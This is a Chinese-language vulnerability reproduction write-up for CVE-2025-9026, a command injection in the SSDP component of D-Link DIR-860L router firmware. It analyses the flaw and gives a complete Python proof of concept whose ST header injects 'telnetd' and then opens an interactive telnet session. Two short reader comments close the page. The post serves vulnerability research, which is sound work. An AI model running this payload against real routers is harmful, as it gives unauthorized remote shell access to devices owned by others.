D-Link DIR-860 未授权RCE复现(CVE-2025-9026)

固件安全
2025-08-22 19:03
13930

CVE-2025-9026复现

漏洞信息

CVE-2025-9026 是 D-Link DIR-860L 固件 2.04.B04 中 SSDP(Simple Service Discovery Protocol)组件的 ssdpcgi_main 函数存在远程 OS 命令注入 漏洞,可被未经授权远程利用。

固件下载:https://support.dlink.com/resource/products/DIR-860L/REVB/DIR-860L_REVB_FIRMWARE_2.04B04_ic5b_HOTFIX.zip

信息收集

  1. binwalk解包

Snipaste_2025-08-21_14-29-01.png

  1. 搜索漏洞点所在函数定位到相关二进制文件

Snipaste_2025-08-21_14-46-41.png

  1. checksec&file

Snipaste_2025-08-21_14-48-19.png

可以看到cgibin文件是mips架构下32位小端,没有开启栈保护和NX保护

漏洞分析

用IDA分析cgibin文件

搜索字符串ssdpcgi_main定位到漏洞点所在函数

Snipaste_2025-08-21_14-58-19.png

这是一个 CGI handler (ssdpcgi_main)。

当参数 a1 == 2 时,取多个环境变量:

  • HTTP_ST (UPnP/SSDP 的 search target)
  • REMOTE_ADDR
  • REMOTE_PORT
  • SERVER_ID

根据 HTTP_ST 的内容,调用 lxmldbc_system 去执行脚本 /etc/scripts/upnp/M-SEARCH.sh,并拼接环境变量作为参数。

查看lxmldbc_system

Snipaste_2025-08-21_15-08-30.png

  • 这个函数本质上就是:
    printf 风格字符串格式化 + system() 执行。
  • 所有传入的参数(REMOTE_ADDR, REMOTE_PORT, SERVER_ID, HTTP_ST 等)
    → 会被填充进 v6 字符串
    → 然后原封不动传给 system()。
  • system() 会调用 /bin/sh -c "…", 任何包含 shell 元字符的输入都能被解释执行。

根据以上分析可以知道该漏洞点所在函数的调用关系

ssdpcgi_main(int a1)
    └── 根据 HTTP 环境变量 (HTTP_ST, REMOTE_ADDR, REMOTE_PORT, SERVER_ID)
        └── 调用 lxmldbc_system(fmt, args...)
              └── vsnprintf 拼接字符串到缓冲区
              └── system(v6) → /bin/sh -c "v6"
  1. 用户输入进入ssdpcgi_main
    攻击者通过构造 SSDP 协议请求(如 HTTP 头),控制以下环境变量:

    • HTTP_ST(对应代码中的v3,SSDP 的搜索目标字段)
    • REMOTE_ADDR(v4,客户端 IP)
    • REMOTE_PORT(v5,客户端端口)
      这些变量的值完全由攻击者控制。
  2. ssdpcgi_main拼接命令格式
    函数根据v3的不同值,使用lxmldbc_system构造命令字符串,例如:

    • 当v3以"uuid:"开头时,调用:
      lxmldbc_system("%s uuid %s:%s %s %s &",
      "/etc/scripts/upnp/M-SEARCH.sh", v4, v5, v6, v3);
      // v3是用户可控的HTTP_ST
      此时,格式化字符串中的%s会被v4(IP)、v5(端口)、v3(HTTP_ST)等用户可控值填充。
  3. lxmldbc_system执行拼接命令

    • 该函数通过vsnprintf(v6, 1024, a1, (int *)va)将格式化字符串与参数拼接为完整命令(如/etc/scripts/upnp/M-SEARCH.sh uuid 192.168.1.100:1234 server_id uuid:xxx &)。
    • 拼接结果直接传入system(v6)执行,而system()会调用 shell 解析命令字符串。

漏洞验证

固件模拟

FirmAE模拟

Snipaste_2025-08-21_15-52-16.png

Snipaste_2025-08-21_15-52-59.png

构造POC

根据上面对漏洞的分析,我们可以构造一个poc来验证漏洞

    import socket
    import time
    import telnetlib
    
    def config_payload(target_ip, ssdp_port):
        malicious_st = "urn:device:1;telnetd;#"  # 核心注入:启动telnet服务
        
        ssdp_request = (
            "M-SEARCH * HTTP/1.1\r\n"
            "HOST: 239.255.255.250:%d\r\n"  # SSDP标准多播地址
            "ST: %s\r\n"                     # 包含恶意命令的ST字段
            "MAN: \"ssdp:discover\"\r\n"     # 标准SSDP发现标识
            "MX: 2\r\n"                      # 等待响应的最大时间(秒)
            "\r\n"                           # 空行结束请求头
        ) % (ssdp_port, malicious_st)
        return ssdp_request
    
    def send_ssdp_request(target_ip, ssdp_port, payload):
        """发送SSDP UDP请求"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)  # 多播TTL
            sock.sendto(payload.encode("utf-8"), (target_ip, ssdp_port))    # 发送到目标设备IP(部分设备需直接发设备IP)
            print(f"[INFO] 已向 {target_ip}:{ssdp_port} 发送恶意SSDP请求(尝试启动telnetd)")
            sock.close()
            return True
        except Exception as e:
            print(f"[ERROR] 发送请求失败:{str(e)}")
            return False
    
    def check_telnet(target_ip, telnet_port=23):
        """检查telnet服务是否启动(验证漏洞是否利用成功)"""
        print(f"[INFO] 等待3秒,确保telnetd服务启动...")
        time.sleep(3)  # 给服务启动留时间
        
        try:
            # 尝试连接telnet端口(默认23)
            tn = telnetlib.Telnet(target_ip, telnet_port, timeout=5)
            tn.close()
            print(f"[SUCCESS] telnet服务已启动!目标 {target_ip} 存在CVE-2025-9026漏洞,可尝试登录。")
            return True
        except ConnectionRefusedError:
            print(f"[FAIL] telnet连接被拒绝,可能漏洞不存在或telnetd未启动。")
        except socket.timeout:
            print(f"[FAIL] telnet连接超时,目标可能未开启telnet服务。")
        except Exception as e:
            print(f"[ERROR] 检查telnet时出错:{str(e)}")
        return False
    
    def try_telnet_login(target_ip, telnet_port=23):
        """尝试telnet登录(供验证后使用,需知道默认账号密码)"""
        print(f"\n[INFO] 尝试telnet登录 {target_ip}(默认账号密码可能为 admin/admin 等)...")
        try:
            tn = telnetlib.Telnet(target_ip, telnet_port, timeout=10)
            tn.interact()  # 进入交互模式
            tn.close()
        except Exception as e:
            print(f"[ERROR] telnet登录失败:{str(e)}")
    
    if __name__ == "__main__":
        # 从命令行接收目标IP,提高灵活性
        if len(sys.argv) != 2:
            print(f"用法:{sys.argv[0]} <目标设备IP>")
            print(f"示例:{sys.argv[0]} 192.168.1.1")
            sys.exit(1)
        
        target_ip = sys.argv[1]
        ssdp_port = 1900  # SSDP默认端口
        telnet_port = 23  # telnet默认端口
        
        # 1. 构造恶意SSDP请求
        payload = config_payload(target_ip, ssdp_port)
        # 2. 发送请求
        if send_ssdp_request(target_ip, ssdp_port, payload):
            # 3. 检查telnet服务是否启动(验证漏洞)
            if check_telnet(target_ip, telnet_port):
                # 4. 可选:尝试登录(需知道默认账号密码)
                try_telnet_login(target_ip, telnet_port)
        sys.exit(0)

执行poc

Snipaste_2025-08-21_16-12-53.png

补充信息

SSDP(Simple Service Discovery Protocol,简单服务发现协议)是一种基于 UDP 的网络协议,用于在局域网(LAN)中自动发现设备和服务。它是 UPnP(Universal Plug and Play,通用即插即用)协议栈的一部分,主要用于家庭网络和小型办公网络中设备的自动发现和互操作。

工作原理

  1. 发现设备(Discovery)
    • 当一个设备(如智能电视、路由器或打印机)连接到网络时,它会广播一个 M-SEARCH 请求,询问网络中是否存在支持某类服务的设备。
    • 其他设备收到请求后,会返回自己的信息,包括设备类型、服务类型、唯一标识符(UUID)和描述 URL。
  2. 通告设备(Advertisement / Notification)
    • 当设备上线或状态发生变化时,它会向 239.255.255.250:1900(IPv4 多播地址)发送 NOTIFY 消息,告知网络中其他设备它的存在及服务信息。
    • 消息通常包含设备的描述文件 URL、设备类型、服务列表等。
  3. 协议格式
    SSDP 使用类似 HTTPU(HTTP over UDP) 的消息格式,主要包含以下字段:
    • HOST: 多播地址和端口(通常是 239.255.255.250:1900)
    • MAN: 指明消息类型,例如 "ssdp:discover"
    • ST(Search Target): 要查找的设备类型或服务类型
    • USN(Unique Service Name): 设备唯一标识符
    • LOCATION: 设备描述 XML 文件 URL
  4. 通信端口
    • UDP 1900 是默认端口,使用 IPv4 多播。
    • IPv6 版本使用 FF02::C 多播
分享到

参与评论

0 / 200

全部评论 2

Aiyflowers的头像
学到了,大佬这篇复现文章写得像一场完整的实战演练,思路清晰得就像火影里一步步解锁查克拉。先从固件下载、binwalk解包、checksec 分析,再用 IDA 精准定位漏洞函数,层层递进把问题剖开,过程就像鸣人一步步修炼螺旋丸,细节满满。尤其是把 SSDP 环境变量如何进入 system() 的调用链解释得非常直白,让人一看就懂。
2025-09-01 13:57
渐近线的头像
学习大佬思路
2025-08-26 15:53
投稿
签到
联系我们
关于我们